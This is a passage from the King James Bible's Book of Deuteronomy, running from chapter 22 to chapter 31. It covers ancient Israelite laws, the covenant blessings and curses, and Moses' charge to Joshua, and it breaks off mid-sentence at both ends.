hath brought +up an evil name upon a virgin of Israel: and she shall be his wife; he +may not put her away all his days. + +22:20 But if this thing be true, and the tokens of virginity be not +found for the damsel: 22:21 Then they shall bring out the damsel to +the door of her father's house, and the men of her city shall stone +her with stones that she die: because she hath wrought folly in +Israel, to play the whore in her father's house: so shalt thou put +evil away from among you. + +22:22 If a man be found lying with a woman married to an husband, then +they shall both of them die, both the man that lay with the woman, and +the woman: so shalt thou put away evil from Israel. + +22:23 If a damsel that is a virgin be betrothed unto an husband, and a +man find her in the city, and lie with her; 22:24 Then ye shall bring +them both out unto the gate of that city, and ye shall stone them with +stones that they die; the damsel, because she cried not, being in the +city; and the man, because he hath humbled his neighbour's wife: so +thou shalt put away evil from among you. + +22:25 But if a man find a betrothed damsel in the field, and the man +force her, and lie with her: then the man only that lay with her shall +die. + +22:26 But unto the damsel thou shalt do nothing; there is in the +damsel no sin worthy of death: for as when a man riseth against his +neighbour, and slayeth him, even so is this matter: 22:27 For he found +her in the field, and the betrothed damsel cried, and there was none +to save her. + +22:28 If a man find a damsel that is a virgin, which is not betrothed, +and lay hold on her, and lie with her, and they be found; 22:29 Then +the man that lay with her shall give unto the damsel's father fifty +shekels of silver, and she shall be his wife; because he hath humbled +her, he may not put her away all his days. + +22:30 A man shall not take his father's wife, nor discover his +father's skirt. + +23:1 He that is wounded in the stones, or hath his privy member cut +off, shall not enter into the congregation of the LORD. + +23:2 A bastard shall not enter into the congregation of the LORD; even +to his tenth generation shall he not enter into the congregation of +the LORD. + +23:3 An Ammonite or Moabite shall not enter into the congregation of +the LORD; even to their tenth generation shall they not enter into the +congregation of the LORD for ever: 23:4 Because they met you not with +bread and with water in the way, when ye came forth out of Egypt; and +because they hired against thee Balaam the son of Beor of Pethor of +Mesopotamia, to curse thee. + +23:5 Nevertheless the LORD thy God would not hearken unto Balaam; but +the LORD thy God turned the curse into a blessing unto thee, because +the LORD thy God loved thee. + +23:6 Thou shalt not seek their peace nor their prosperity all thy days +for ever. + +23:7 Thou shalt not abhor an Edomite; for he is thy brother: thou +shalt not abhor an Egyptian; because thou wast a stranger in his land. + +23:8 The children that are begotten of them shall enter into the +congregation of the LORD in their third generation. + +23:9 When the host goeth forth against thine enemies, then keep thee +from every wicked thing. + +23:10 If there be among you any man, that is not clean by reason of +uncleanness that chanceth him by night, then shall he go abroad out of +the camp, he shall not come within the camp: 23:11 But it shall be, +when evening cometh on, he shall wash himself with water: and when the +sun is down, he shall come into the camp again. + +23:12 Thou shalt have a place also without the camp, whither thou +shalt go forth abroad: 23:13 And thou shalt have a paddle upon thy +weapon; and it shall be, when thou wilt ease thyself abroad, thou +shalt dig therewith, and shalt turn back and cover that which cometh +from thee: 23:14 For the LORD thy God walketh in the midst of thy +camp, to deliver thee, and to give up thine enemies before thee; +therefore shall thy camp be holy: that he see no unclean thing in +thee, and turn away from thee. + +23:15 Thou shalt not deliver unto his master the servant which is +escaped from his master unto thee: 23:16 He shall dwell with thee, +even among you, in that place which he shall choose in one of thy +gates, where it liketh him best: thou shalt not oppress him. + +23:17 There shall be no whore of the daughters of Israel, nor a +sodomite of the sons of Israel. + +23:18 Thou shalt not bring the hire of a whore, or the price of a dog, +into the house of the LORD thy God for any vow: for even both these +are abomination unto the LORD thy God. + +23:19 Thou shalt not lend upon usury to thy brother; usury of money, +usury of victuals, usury of any thing that is lent upon usury: 23:20 +Unto a stranger thou mayest lend upon usury; but unto thy brother thou +shalt not lend upon usury: that the LORD thy God may bless thee in all +that thou settest thine hand to in the land whither thou goest to +possess it. + +23:21 When thou shalt vow a vow unto the LORD thy God, thou shalt not +slack to pay it: for the LORD thy God will surely require it of thee; +and it would be sin in thee. + +23:22 But if thou shalt forbear to vow, it shall be no sin in thee. + +23:23 That which is gone out of thy lips thou shalt keep and perform; +even a freewill offering, according as thou hast vowed unto the LORD +thy God, which thou hast promised with thy mouth. + +23:24 When thou comest into thy neighbour's vineyard, then thou mayest +eat grapes thy fill at thine own pleasure; but thou shalt not put any +in thy vessel. + +23:25 When thou comest into the standing corn of thy neighbour, then +thou mayest pluck the ears with thine hand; but thou shalt not move a +sickle unto thy neighbour's standing corn. + +24:1 When a man hath taken a wife, and married her, and it come to +pass that she find no favour in his eyes, because he hath found some +uncleanness in her: then let him write her a bill of divorcement, and +give it in her hand, and send her out of his house. + +24:2 And when she is departed out of his house, she may go and be +another man's wife. + +24:3 And if the latter husband hate her, and write her a bill of +divorcement, and giveth it in her hand, and sendeth her out of his +house; or if the latter husband die, which took her to be his wife; +24:4 Her former husband, which sent her away, may not take her again +to be his wife, after that she is defiled; for that is abomination +before the LORD: and thou shalt not cause the land to sin, which the +LORD thy God giveth thee for an inheritance. + +24:5 When a man hath taken a new wife, he shall not go out to war, +neither shall he be charged with any business: but he shall be free at +home one year, and shall cheer up his wife which he hath taken. + +24:6 No man shall take the nether or the upper millstone to pledge: +for he taketh a man's life to pledge. + +24:7 If a man be found stealing any of his brethren of the children of +Israel, and maketh merchandise of him, or selleth him; then that thief +shall die; and thou shalt put evil away from among you. + +24:8 Take heed in the plague of leprosy, that thou observe diligently, +and do according to all that the priests the Levites shall teach you: +as I commanded them, so ye shall observe to do. + +24:9 Remember what the LORD thy God did unto Miriam by the way, after +that ye were come forth out of Egypt. + +24:10 When thou dost lend thy brother any thing, thou shalt not go +into his house to fetch his pledge. + +24:11 Thou shalt stand abroad, and the man to whom thou dost lend +shall bring out the pledge abroad unto thee. + +24:12 And if the man be poor, thou shalt not sleep with his pledge: +24:13 In any case thou shalt deliver him the pledge again when the sun +goeth down, that he may sleep in his own raiment, and bless thee: and +it shall be righteousness unto thee before the LORD thy God. + +24:14 Thou shalt not oppress an hired servant that is poor and needy, +whether he be of thy brethren, or of thy strangers that are in thy +land within thy gates: 24:15 At his day thou shalt give him his hire, +neither shall the sun go down upon it; for he is poor, and setteth his +heart upon it: lest he cry against thee unto the LORD, and it be sin +unto thee. + +24:16 The fathers shall not be put to death for the children, neither +shall the children be put to death for the fathers: every man shall be +put to death for his own sin. + +24:17 Thou shalt not pervert the judgment of the stranger, nor of the +fatherless; nor take a widow's raiment to pledge: 24:18 But thou shalt +remember that thou wast a bondman in Egypt, and the LORD thy God +redeemed thee thence: therefore I command thee to do this thing. + +24:19 When thou cuttest down thine harvest in thy field, and hast +forgot a sheaf in the field, thou shalt not go again to fetch it: it +shall be for the stranger, for the fatherless, and for the widow: that +the LORD thy God may bless thee in all the work of thine hands. + +24:20 When thou beatest thine olive tree, thou shalt not go over the +boughs again: it shall be for the stranger, for the fatherless, and +for the widow. + +24:21 When thou gatherest the grapes of thy vineyard, thou shalt not +glean it afterward: it shall be for the stranger, for the fatherless, +and for the widow. + +24:22 And thou shalt remember that thou wast a bondman in the land of +Egypt: therefore I command thee to do this thing. + +25:1 If there be a controversy between men, and they come unto +judgment, that the judges may judge them; then they shall justify the +righteous, and condemn the wicked. + +25:2 And it shall be, if the wicked man be worthy to be beaten, that +the judge shall cause him to lie down, and to be beaten before his +face, according to his fault, by a certain number. + +25:3 Forty stripes he may give him, and not exceed: lest, if he should +exceed, and beat him above these with many stripes, then thy brother +should seem vile unto thee. + +25:4 Thou shalt not muzzle the ox when he treadeth out the corn. + +25:5 If brethren dwell together, and one of them die, and have no +child, the wife of the dead shall not marry without unto a stranger: +her husband's brother shall go in unto her, and take her to him to +wife, and perform the duty of an husband's brother unto her. + +25:6 And it shall be, that the firstborn which she beareth shall +succeed in the name of his brother which is dead, that his name be not +put out of Israel. + +25:7 And if the man like not to take his brother's wife, then let his +brother's wife go up to the gate unto the elders, and say, My +husband's brother refuseth to raise up unto his brother a name in +Israel, he will not perform the duty of my husband's brother. + +25:8 Then the elders of his city shall call him, and speak unto him: +and if he stand to it, and say, I like not to take her; 25:9 Then +shall his brother's wife come unto him in the presence of the elders, +and loose his shoe from off his foot, and spit in his face, and shall +answer and say, So shall it be done unto that man that will not build +up his brother's house. + +25:10 And his name shall be called in Israel, The house of him that +hath his shoe loosed. + +25:11 When men strive together one with another, and the wife of the +one draweth near for to deliver her husband out of the hand of him +that smiteth him, and putteth forth her hand, and taketh him by the +secrets: 25:12 Then thou shalt cut off her hand, thine eye shall not +pity her. + +25:13 Thou shalt not have in thy bag divers weights, a great and a +small. + +25:14 Thou shalt not have in thine house divers measures, a great and +a small. + +25:15 But thou shalt have a perfect and just weight, a perfect and +just measure shalt thou have: that thy days may be lengthened in the +land which the LORD thy God giveth thee. + +25:16 For all that do such things, and all that do unrighteously, are +an abomination unto the LORD thy God. + +25:17 Remember what Amalek did unto thee by the way, when ye were come +forth out of Egypt; 25:18 How he met thee by the way, and smote the +hindmost of thee, even all that were feeble behind thee, when thou +wast faint and weary; and he feared not God. + +25:19 Therefore it shall be, when the LORD thy God hath given thee +rest from all thine enemies round about, in the land which the LORD +thy God giveth thee for an inheritance to possess it, that thou shalt +blot out the remembrance of Amalek from under heaven; thou shalt not +forget it. + +26:1 And it shall be, when thou art come in unto the land which the +LORD thy God giveth thee for an inheritance, and possessest it, and +dwellest therein; 26:2 That thou shalt take of the first of all the +fruit of the earth, which thou shalt bring of thy land that the LORD +thy God giveth thee, and shalt put it in a basket, and shalt go unto +the place which the LORD thy God shall choose to place his name there. + +26:3 And thou shalt go unto the priest that shall be in those days, +and say unto him, I profess this day unto the LORD thy God, that I am +come unto the country which the LORD sware unto our fathers for to +give us. + +26:4 And the priest shall take the basket out of thine hand, and set +it down before the altar of the LORD thy God. + +26:5 And thou shalt speak and say before the LORD thy God, A Syrian +ready to perish was my father, and he went down into Egypt, and +sojourned there with a few, and became there a nation, great, mighty, +and populous: 26:6 And the Egyptians evil entreated us, and afflicted +us, and laid upon us hard bondage: 26:7 And when we cried unto the +LORD God of our fathers, the LORD heard our voice, and looked on our +affliction, and our labour, and our oppression: 26:8 And the LORD +brought us forth out of Egypt with a mighty hand, and with an +outstretched arm, and with great terribleness, and with signs, and +with wonders: 26:9 And he hath brought us into this place, and hath +given us this land, even a land that floweth with milk and honey. + +26:10 And now, behold, I have brought the firstfruits of the land, +which thou, O LORD, hast given me. And thou shalt set it before the +LORD thy God, and worship before the LORD thy God: 26:11 And thou +shalt rejoice in every good thing which the LORD thy God hath given +unto thee, and unto thine house, thou, and the Levite, and the +stranger that is among you. + +26:12 When thou hast made an end of tithing all the tithes of thine +increase the third year, which is the year of tithing, and hast given +it unto the Levite, the stranger, the fatherless, and the widow, that +they may eat within thy gates, and be filled; 26:13 Then thou shalt +say before the LORD thy God, I have brought away the hallowed things +out of mine house, and also have given them unto the Levite, and unto +the stranger, to the fatherless, and to the widow, according to all +thy commandments which thou hast commanded me: I have not transgressed +thy commandments, neither have I forgotten them. + +26:14 I have not eaten thereof in my mourning, neither have I taken +away ought thereof for any unclean use, nor given ought thereof for +the dead: but I have hearkened to the voice of the LORD my God, and +have done according to all that thou hast commanded me. + +26:15 Look down from thy holy habitation, from heaven, and bless thy +people Israel, and the land which thou hast given us, as thou swarest +unto our fathers, a land that floweth with milk and honey. + +26:16 This day the LORD thy God hath commanded thee to do these +statutes and judgments: thou shalt therefore keep and do them with all +thine heart, and with all thy soul. + +26:17 Thou hast avouched the LORD this day to be thy God, and to walk +in his ways, and to keep his statutes, and his commandments, and his +judgments, and to hearken unto his voice: 26:18 And the LORD hath +avouched thee this day to be his peculiar people, as he hath promised +thee, and that thou shouldest keep all his commandments; 26:19 And to +make thee high above all nations which he hath made, in praise, and in +name, and in honour; and that thou mayest be an holy people unto the +LORD thy God, as he hath spoken. + +27:1 And Moses with the elders of Israel commanded the people, saying, +Keep all the commandments which I command you this day. + +27:2 And it shall be on the day when ye shall pass over Jordan unto +the land which the LORD thy God giveth thee, that thou shalt set thee +up great stones, and plaister them with plaister: 27:3 And thou shalt +write upon them all the words of this law, when thou art passed over, +that thou mayest go in unto the land which the LORD thy God giveth +thee, a land that floweth with milk and honey; as the LORD God of thy +fathers hath promised thee. + +27:4 Therefore it shall be when ye be gone over Jordan, that ye shall +set up these stones, which I command you this day, in mount Ebal, and +thou shalt plaister them with plaister. + +27:5 And there shalt thou build an altar unto the LORD thy God, an +altar of stones: thou shalt not lift up any iron tool upon them. + +27:6 Thou shalt build the altar of the LORD thy God of whole stones: +and thou shalt offer burnt offerings thereon unto the LORD thy God: +27:7 And thou shalt offer peace offerings, and shalt eat there, and +rejoice before the LORD thy God. + +27:8 And thou shalt write upon the stones all the words of this law +very plainly. + +27:9 And Moses and the priests the Levites spake unto all Israel, +saying, Take heed, and hearken, O Israel; this day thou art become the +people of the LORD thy God. + +27:10 Thou shalt therefore obey the voice of the LORD thy God, and do +his commandments and his statutes, which I command thee this day. + +27:11 And Moses charged the people the same day, saying, 27:12 These +shall stand upon mount Gerizim to bless the people, when ye are come +over Jordan; Simeon, and Levi, and Judah, and Issachar, and Joseph, +and Benjamin: 27:13 And these shall stand upon mount Ebal to curse; +Reuben, Gad, and Asher, and Zebulun, Dan, and Naphtali. + +27:14 And the Levites shall speak, and say unto all the men of Israel +with a loud voice, 27:15 Cursed be the man that maketh any graven or +molten image, an abomination unto the LORD, the work of the hands of +the craftsman, and putteth it in a secret place. And all the people +shall answer and say, Amen. + +27:16 Cursed be he that setteth light by his father or his mother. And +all the people shall say, Amen. + +27:17 Cursed be he that removeth his neighbour's landmark. And all the +people shall say, Amen. + +27:18 Cursed be he that maketh the blind to wander out of the way. And +all the people shall say, Amen. + +27:19 Cursed be he that perverteth the judgment of the stranger, +fatherless, and widow. And all the people shall say, Amen. + +27:20 Cursed be he that lieth with his father's wife; because he +uncovereth his father's skirt. And all the people shall say, Amen. + +27:21 Cursed be he that lieth with any manner of beast. And all the +people shall say, Amen. + +27:22 Cursed be he that lieth with his sister, the daughter of his +father, or the daughter of his mother. And all the people shall say, +Amen. + +27:23 Cursed be he that lieth with his mother in law. And all the +people shall say, Amen. + +27:24 Cursed be he that smiteth his neighbour secretly. And all the +people shall say, Amen. + +27:25 Cursed be he that taketh reward to slay an innocent person. And +all the people shall say, Amen. + +27:26 Cursed be he that confirmeth not all the words of this law to do +them. And all the people shall say, Amen. + +28:1 And it shall come to pass, if thou shalt hearken diligently unto +the voice of the LORD thy God, to observe and to do all his +commandments which I command thee this day, that the LORD thy God will +set thee on high above all nations of the earth: 28:2 And all these +blessings shall come on thee, and overtake thee, if thou shalt hearken +unto the voice of the LORD thy God. + +28:3 Blessed shalt thou be in the city, and blessed shalt thou be in +the field. + +28:4 Blessed shall be the fruit of thy body, and the fruit of thy +ground, and the fruit of thy cattle, the increase of thy kine, and the +flocks of thy sheep. + +28:5 Blessed shall be thy basket and thy store. + +28:6 Blessed shalt thou be when thou comest in, and blessed shalt thou +be when thou goest out. + +28:7 The LORD shall cause thine enemies that rise up against thee to +be smitten before thy face: they shall come out against thee one way, +and flee before thee seven ways. + +28:8 The LORD shall command the blessing upon thee in thy storehouses, +and in all that thou settest thine hand unto; and he shall bless thee +in the land which the LORD thy God giveth thee. + +28:9 The LORD shall establish thee an holy people unto himself, as he +hath sworn unto thee, if thou shalt keep the commandments of the LORD +thy God, and walk in his ways. + +28:10 And all people of the earth shall see that thou art called by +the name of the LORD; and they shall be afraid of thee. + +28:11 And the LORD shall make thee plenteous in goods, in the fruit of +thy body, and in the fruit of thy cattle, and in the fruit of thy +ground, in the land which the LORD sware unto thy fathers to give +thee. + +28:12 The LORD shall open unto thee his good treasure, the heaven to +give the rain unto thy land in his season, and to bless all the work +of thine hand: and thou shalt lend unto many nations, and thou shalt +not borrow. + +28:13 And the LORD shall make thee the head, and not the tail; and +thou shalt be above only, and thou shalt not be beneath; if that thou +hearken unto the commandments of the LORD thy God, which I command +thee this day, to observe and to do them: 28:14 And thou shalt not go +aside from any of the words which I command thee this day, to the +right hand, or to the left, to go after other gods to serve them. + +28:15 But it shall come to pass, if thou wilt not hearken unto the +voice of the LORD thy God, to observe to do all his commandments and +his statutes which I command thee this day; that all these curses +shall come upon thee, and overtake thee: 28:16 Cursed shalt thou be in +the city, and cursed shalt thou be in the field. + +28:17 Cursed shall be thy basket and thy store. + +28:18 Cursed shall be the fruit of thy body, and the fruit of thy +land, the increase of thy kine, and the flocks of thy sheep. + +28:19 Cursed shalt thou be when thou comest in, and cursed shalt thou +be when thou goest out. + +28:20 The LORD shall send upon thee cursing, vexation, and rebuke, in +all that thou settest thine hand unto for to do, until thou be +destroyed, and until thou perish quickly; because of the wickedness of +thy doings, whereby thou hast forsaken me. + +28:21 The LORD shall make the pestilence cleave unto thee, until he +have consumed thee from off the land, whither thou goest to possess +it. + +28:22 The LORD shall smite thee with a consumption, and with a fever, +and with an inflammation, and with an extreme burning, and with the +sword, and with blasting, and with mildew; and they shall pursue thee +until thou perish. + +28:23 And thy heaven that is over thy head shall be brass, and the +earth that is under thee shall be iron. + +28:24 The LORD shall make the rain of thy land powder and dust: from +heaven shall it come down upon thee, until thou be destroyed. + +28:25 The LORD shall cause thee to be smitten before thine enemies: +thou shalt go out one way against them, and flee seven ways before +them: and shalt be removed into all the kingdoms of the earth. + +28:26 And thy carcase shall be meat unto all fowls of the air, and +unto the beasts of the earth, and no man shall fray them away. + +28:27 The LORD will smite thee with the botch of Egypt, and with the +emerods, and with the scab, and with the itch, whereof thou canst not +be healed. + +28:28 The LORD shall smite thee with madness, and blindness, and +astonishment of heart: 28:29 And thou shalt grope at noonday, as the +blind gropeth in darkness, and thou shalt not prosper in thy ways: and +thou shalt be only oppressed and spoiled evermore, and no man shall +save thee. + +28:30 Thou shalt betroth a wife, and another man shall lie with her: +thou shalt build an house, and thou shalt not dwell therein: thou +shalt plant a vineyard, and shalt not gather the grapes thereof. + +28:31 Thine ox shall be slain before thine eyes, and thou shalt not +eat thereof: thine ass shall be violently taken away from before thy +face, and shall not be restored to thee: thy sheep shall be given unto +thine enemies, and thou shalt have none to rescue them. + +28:32 Thy sons and thy daughters shall be given unto another people, +and thine eyes shall look, and fail with longing for them all the day +long; and there shall be no might in thine hand. + +28:33 The fruit of thy land, and all thy labours, shall a nation which +thou knowest not eat up; and thou shalt be only oppressed and crushed +alway: 28:34 So that thou shalt be mad for the sight of thine eyes +which thou shalt see. + +28:35 The LORD shall smite thee in the knees, and in the legs, with a +sore botch that cannot be healed, from the sole of thy foot unto the +top of thy head. + +28:36 The LORD shall bring thee, and thy king which thou shalt set +over thee, unto a nation which neither thou nor thy fathers have +known; and there shalt thou serve other gods, wood and stone. + +28:37 And thou shalt become an astonishment, a proverb, and a byword, +among all nations whither the LORD shall lead thee. + +28:38 Thou shalt carry much seed out into the field, and shalt gather +but little in; for the locust shall consume it. + +28:39 Thou shalt plant vineyards, and dress them, but shalt neither +drink of the wine, nor gather the grapes; for the worms shall eat +them. + +28:40 Thou shalt have olive trees throughout all thy coasts, but thou +shalt not anoint thyself with the oil; for thine olive shall cast his +fruit. + +28:41 Thou shalt beget sons and daughters, but thou shalt not enjoy +them; for they shall go into captivity. + +28:42 All thy trees and fruit of thy land shall the locust consume. + +28:43 The stranger that is within thee shall get up above thee very +high; and thou shalt come down very low. + +28:44 He shall lend to thee, and thou shalt not lend to him: he shall +be the head, and thou shalt be the tail. + +28:45 Moreover all these curses shall come upon thee, and shall pursue +thee, and overtake thee, till thou be destroyed; because thou +hearkenedst not unto the voice of the LORD thy God, to keep his +commandments and his statutes which he commanded thee: 28:46 And they +shall be upon thee for a sign and for a wonder, and upon thy seed for +ever. + +28:47 Because thou servedst not the LORD thy God with joyfulness, and +with gladness of heart, for the abundance of all things; 28:48 +Therefore shalt thou serve thine enemies which the LORD shall send +against thee, in hunger, and in thirst, and in nakedness, and in want +of all things: and he shall put a yoke of iron upon thy neck, until he +have destroyed thee. + +28:49 The LORD shall bring a nation against thee from far, from the +end of the earth, as swift as the eagle flieth; a nation whose tongue +thou shalt not understand; 28:50 A nation of fierce countenance, which +shall not regard the person of the old, nor shew favour to the young: +28:51 And he shall eat the fruit of thy cattle, and the fruit of thy +land, until thou be destroyed: which also shall not leave thee either +corn, wine, or oil, or the increase of thy kine, or flocks of thy +sheep, until he have destroyed thee. + +28:52 And he shall besiege thee in all thy gates, until thy high and +fenced walls come down, wherein thou trustedst, throughout all thy +land: and he shall besiege thee in all thy gates throughout all thy +land, which the LORD thy God hath given thee. + +28:53 And thou shalt eat the fruit of thine own body, the flesh of thy +sons and of thy daughters, which the LORD thy God hath given thee, in +the siege, and in the straitness, wherewith thine enemies shall +distress thee: 28:54 So that the man that is tender among you, and +very delicate, his eye shall be evil toward his brother, and toward +the wife of his bosom, and toward the remnant of his children which he +shall leave: 28:55 So that he will not give to any of them of the +flesh of his children whom he shall eat: because he hath nothing left +him in the siege, and in the straitness, wherewith thine enemies shall +distress thee in all thy gates. + +28:56 The tender and delicate woman among you, which would not +adventure to set the sole of her foot upon the ground for delicateness +and tenderness, her eye shall be evil toward the husband of her bosom, +and toward her son, and toward her daughter, 28:57 And toward her +young one that cometh out from between her feet, and toward her +children which she shall bear: for she shall eat them for want of all +things secretly in the siege and straitness, wherewith thine enemy +shall distress thee in thy gates. + +28:58 If thou wilt not observe to do all the words of this law that +are written in this book, that thou mayest fear this glorious and +fearful name, THE LORD THY GOD; 28:59 Then the LORD will make thy +plagues wonderful, and the plagues of thy seed, even great plagues, +and of long continuance, and sore sicknesses, and of long continuance. + +28:60 Moreover he will bring upon thee all the diseases of Egypt, +which thou wast afraid of; and they shall cleave unto thee. + +28:61 Also every sickness, and every plague, which is not written in +the book of this law, them will the LORD bring upon thee, until thou +be destroyed. + +28:62 And ye shall be left few in number, whereas ye were as the stars +of heaven for multitude; because thou wouldest not obey the voice of +the LORD thy God. + +28:63 And it shall come to pass, that as the LORD rejoiced over you to +do you good, and to multiply you; so the LORD will rejoice over you to +destroy you, and to bring you to nought; and ye shall be plucked from +off the land whither thou goest to possess it. + +28:64 And the LORD shall scatter thee among all people, from the one +end of the earth even unto the other; and there thou shalt serve other +gods, which neither thou nor thy fathers have known, even wood and +stone. + +28:65 And among these nations shalt thou find no ease, neither shall +the sole of thy foot have rest: but the LORD shall give thee there a +trembling heart, and failing of eyes, and sorrow of mind: 28:66 And +thy life shall hang in doubt before thee; and thou shalt fear day and +night, and shalt have none assurance of thy life: 28:67 In the morning +thou shalt say, Would God it were even! and at even thou shalt say, +Would God it were morning! for the fear of thine heart wherewith thou +shalt fear, and for the sight of thine eyes which thou shalt see. + +28:68 And the LORD shall bring thee into Egypt again with ships, by +the way whereof I spake unto thee, Thou shalt see it no more again: +and there ye shall be sold unto your enemies for bondmen and +bondwomen, and no man shall buy you. + +29:1 These are the words of the covenant, which the LORD commanded +Moses to make with the children of Israel in the land of Moab, beside +the covenant which he made with them in Horeb. + +29:2 And Moses called unto all Israel, and said unto them, Ye have +seen all that the LORD did before your eyes in the land of Egypt unto +Pharaoh, and unto all his servants, and unto all his land; 29:3 The +great temptations which thine eyes have seen, the signs, and those +great miracles: 29:4 Yet the LORD hath not given you an heart to +perceive, and eyes to see, and ears to hear, unto this day. + +29:5 And I have led you forty years in the wilderness: your clothes +are not waxen old upon you, and thy shoe is not waxen old upon thy +foot. + +29:6 Ye have not eaten bread, neither have ye drunk wine or strong +drink: that ye might know that I am the LORD your God. + +29:7 And when ye came unto this place, Sihon the king of Heshbon, and +Og the king of Bashan, came out against us unto battle, and we smote +them: 29:8 And we took their land, and gave it for an inheritance unto +the Reubenites, and to the Gadites, and to the half tribe of Manasseh. + +29:9 Keep therefore the words of this covenant, and do them, that ye +may prosper in all that ye do. + +29:10 Ye stand this day all of you before the LORD your God; your +captains of your tribes, your elders, and your officers, with all the +men of Israel, 29:11 Your little ones, your wives, and thy stranger +that is in thy camp, from the hewer of thy wood unto the drawer of thy +water: 29:12 That thou shouldest enter into covenant with the LORD thy +God, and into his oath, which the LORD thy God maketh with thee this +day: 29:13 That he may establish thee to day for a people unto +himself, and that he may be unto thee a God, as he hath said unto +thee, and as he hath sworn unto thy fathers, to Abraham, to Isaac, and +to Jacob. + +29:14 Neither with you only do I make this covenant and this oath; +29:15 But with him that standeth here with us this day before the LORD +our God, and also with him that is not here with us this day: 29:16 +(For ye know how we have dwelt in the land of Egypt; and how we came +through the nations which ye passed by; 29:17 And ye have seen their +abominations, and their idols, wood and stone, silver and gold, which +were among them:) 29:18 Lest there should be among you man, or woman, +or family, or tribe, whose heart turneth away this day from the LORD +our God, to go and serve the gods of these nations; lest there should +be among you a root that beareth gall and wormwood; 29:19 And it come +to pass, when he heareth the words of this curse, that he bless +himself in his heart, saying, I shall have peace, though I walk in the +imagination of mine heart, to add drunkenness to thirst: 29:20 The +LORD will not spare him, but then the anger of the LORD and his +jealousy shall smoke against that man, and all the curses that are +written in this book shall lie upon him, and the LORD shall blot out +his name from under heaven. + +29:21 And the LORD shall separate him unto evil out of all the tribes +of Israel, according to all the curses of the covenant that are +written in this book of the law: 29:22 So that the generation to come +of your children that shall rise up after you, and the stranger that +shall come from a far land, shall say, when they see the plagues of +that land, and the sicknesses which the LORD hath laid upon it; 29:23 +And that the whole land thereof is brimstone, and salt, and burning, +that it is not sown, nor beareth, nor any grass groweth therein, like +the overthrow of Sodom, and Gomorrah, Admah, and Zeboim, which the +LORD overthrew in his anger, and in his wrath: 29:24 Even all nations +shall say, Wherefore hath the LORD done thus unto this land? what +meaneth the heat of this great anger? 29:25 Then men shall say, +Because they have forsaken the covenant of the LORD God of their +fathers, which he made with them when he brought them forth out of the +land of Egypt: 29:26 For they went and served other gods, and +worshipped them, gods whom they knew not, and whom he had not given +unto them: 29:27 And the anger of the LORD was kindled against this +land, to bring upon it all the curses that are written in this book: +29:28 And the LORD rooted them out of their land in anger, and in +wrath, and in great indignation, and cast them into another land, as +it is this day. + +29:29 The secret things belong unto the LORD our God: but those things +which are revealed belong unto us and to our children for ever, that +we may do all the words of this law. + +30:1 And it shall come to pass, when all these things are come upon +thee, the blessing and the curse, which I have set before thee, and +thou shalt call them to mind among all the nations, whither the LORD +thy God hath driven thee, 30:2 And shalt return unto the LORD thy God, +and shalt obey his voice according to all that I command thee this +day, thou and thy children, with all thine heart, and with all thy +soul; 30:3 That then the LORD thy God will turn thy captivity, and +have compassion upon thee, and will return and gather thee from all +the nations, whither the LORD thy God hath scattered thee. + +30:4 If any of thine be driven out unto the outmost parts of heaven, +from thence will the LORD thy God gather thee, and from thence will he +fetch thee: 30:5 And the LORD thy God will bring thee into the land +which thy fathers possessed, and thou shalt possess it; and he will do +thee good, and multiply thee above thy fathers. + +30:6 And the LORD thy God will circumcise thine heart, and the heart +of thy seed, to love the LORD thy God with all thine heart, and with +all thy soul, that thou mayest live. + +30:7 And the LORD thy God will put all these curses upon thine +enemies, and on them that hate thee, which persecuted thee. + +30:8 And thou shalt return and obey the voice of the LORD, and do all +his commandments which I command thee this day. + +30:9 And the LORD thy God will make thee plenteous in every work of +thine hand, in the fruit of thy body, and in the fruit of thy cattle, +and in the fruit of thy land, for good: for the LORD will again +rejoice over thee for good, as he rejoiced over thy fathers: 30:10 If +thou shalt hearken unto the voice of the LORD thy God, to keep his +commandments and his statutes which are written in this book of the +law, and if thou turn unto the LORD thy God with all thine heart, and +with all thy soul. + +30:11 For this commandment which I command thee this day, it is not +hidden from thee, neither is it far off. + +30:12 It is not in heaven, that thou shouldest say, Who shall go up +for us to heaven, and bring it unto us, that we may hear it, and do +it? 30:13 Neither is it beyond the sea, that thou shouldest say, Who +shall go over the sea for us, and bring it unto us, that we may hear +it, and do it? 30:14 But the word is very nigh unto thee, in thy +mouth, and in thy heart, that thou mayest do it. + +30:15 See, I have set before thee this day life and good, and death +and evil; 30:16 In that I command thee this day to love the LORD thy +God, to walk in his ways, and to keep his commandments and his +statutes and his judgments, that thou mayest live and multiply: and +the LORD thy God shall bless thee in the land whither thou goest to +possess it. + +30:17 But if thine heart turn away, so that thou wilt not hear, but +shalt be drawn away, and worship other gods, and serve them; 30:18 I +denounce unto you this day, that ye shall surely perish, and that ye +shall not prolong your days upon the land, whither thou passest over +Jordan to go to possess it. + +30:19 I call heaven and earth to record this day against you, that I +have set before you life and death, blessing and cursing: therefore +choose life, that both thou and thy seed may live: 30:20 That thou +mayest love the LORD thy God, and that thou mayest obey his voice, and +that thou mayest cleave unto him: for he is thy life, and the length +of thy days: that thou mayest dwell in the land which the LORD sware +unto thy fathers, to Abraham, to Isaac, and to Jacob, to give them. + +31:1 And Moses went and spake these words unto all Israel. + +31:2 And he said unto them, I am an hundred and twenty years old this +day; I can no more go out and come in: also the LORD hath said unto +me, Thou shalt not go over this Jordan. + +31:3 The LORD thy God, he will go over before thee, and he will +destroy these nations from before thee, and thou shalt possess them: +and Joshua, he shall go over before thee, as the LORD hath said. + +31:4 And the LORD shall do unto them as he did to Sihon and to Og, +kings of the Amorites, and unto the land of them, whom he destroyed. + +31:5 And the LORD shall give them up before your face, that ye may do +unto them according unto all the commandments which I have commanded +you. + +31:6 Be strong and of a good courage, fear not, nor be afraid of them: +for the LORD thy God, he it is that doth go with thee; he will not +fail thee, nor forsake thee. + +31:7 And Moses called unto Joshua, and said unto him in the sight of +all Israel, Be strong and of a good courage: for thou must go with +this people unto the land which the LORD hath sworn unto their fathers +to give them; and thou shalt cause them to inherit it. + +31:8 And the LORD, he it is that doth go before thee; he will be with +thee, he will not fail thee, neither forsake thee: fear not, neither +be dismayed. + +31:9 And Moses wrote this law, and delivered it unto the priests the +sons of Levi, which bare the ark of the covenant of the LORD, and unto +all the elders of Israel. + +31:10 And Moses commanded them, saying, At the end of every seven +years, in the solemnity of the year of release, in the feast of +tabernacles, 31:11 When all Israel is come to appear before the LORD +thy God in the place which he shall choose, thou shalt read this law +before all Israel in their hearing. + +31:12 Gather the people together, men and women, and children, and thy +stranger that is within thy gates, that they may hear, and that they +may learn, and fear the LORD your God, and observe to do all the words +of this law: 31:13 And that their children, which have not known any 